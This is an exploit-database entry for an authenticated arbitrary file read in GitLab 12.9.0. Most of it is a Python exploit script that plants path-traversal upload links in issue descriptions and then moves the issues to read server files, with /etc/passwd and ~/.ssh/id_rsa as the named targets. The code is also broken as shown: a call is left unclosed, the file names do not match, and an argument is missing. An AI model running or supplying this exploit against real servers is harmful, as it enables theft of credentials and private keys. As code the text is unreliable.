Gitlab 12.9.0 Arbitrary File Read (Authenticated)

Risk: High
Local: No
Remote: Yes
CWE: CWE-200

# Exploit Title: Gitlab 12.9.0 - Arbitrary File Read (Authenticated) # Google Dork: - # Date: 11/15/2020 # Exploit Author: Jasper Rasenberg # Vendor Homepage: # Software Link: # Version: tested on gitlab version 12.9.0 # Tested on: Kali Linux 2020.3 #You can create as many personal access tokens as you like from your GitLab profile. # Sign in to GitLab. # In the upper-right corner, click your avatar and select Settings. # On the User Settings menu, select Access Tokens. # Choose a name and optional expiry date for the token. # Choose the desired scopes. # Click the Create personal access token button. # Save the personal access token somewhere safe. If you navigate away or refresh your page, and you did not save the token, you must create a new one. # REFERENCE: # pip3 install gitlab # pip3 install requests # Use a client cert to verify SSL or set to False import os import requests import json from time import sleep from gitlab import * session = requests.Session() session.verify = f'{os.getcwd()}/<cert.pem>' # or set session.verify = False host = '' def exploit(projectName, issueTitle, files, token):     gl = Gitlab(host, private_token=token, session=session)     gl.auth()     p1 = gl.projects.create({'name': f"{projectName}-1"})     p2 = gl.projects.create({'name': f"{projectName}-2"})     for i, f in enumerate(files):         stripped_f = f.rstrip('\n')         issue = p1.issues.create({ \                 'title': f"{issueTitle}-{i}",                 'description': \                 "![a](/uploads/11111111111111111111111111111111/"\                 f"../../../../../../../../../../../../../..{stripped_f})"})         print(issue.description)         sleep(3)         try:             issue.move(         except Exception as e:             pass         sleep(3) if __name__ == "__main__": write_files = ['/etc/passwd', '~/.ssh/id_rsa'] with open('senstive_files', 'w') as sens: for file in write_files: sens.write(file)     files = list(open('sensitive_files', 'r'))     exploit('project-1', 'issue-1', files)

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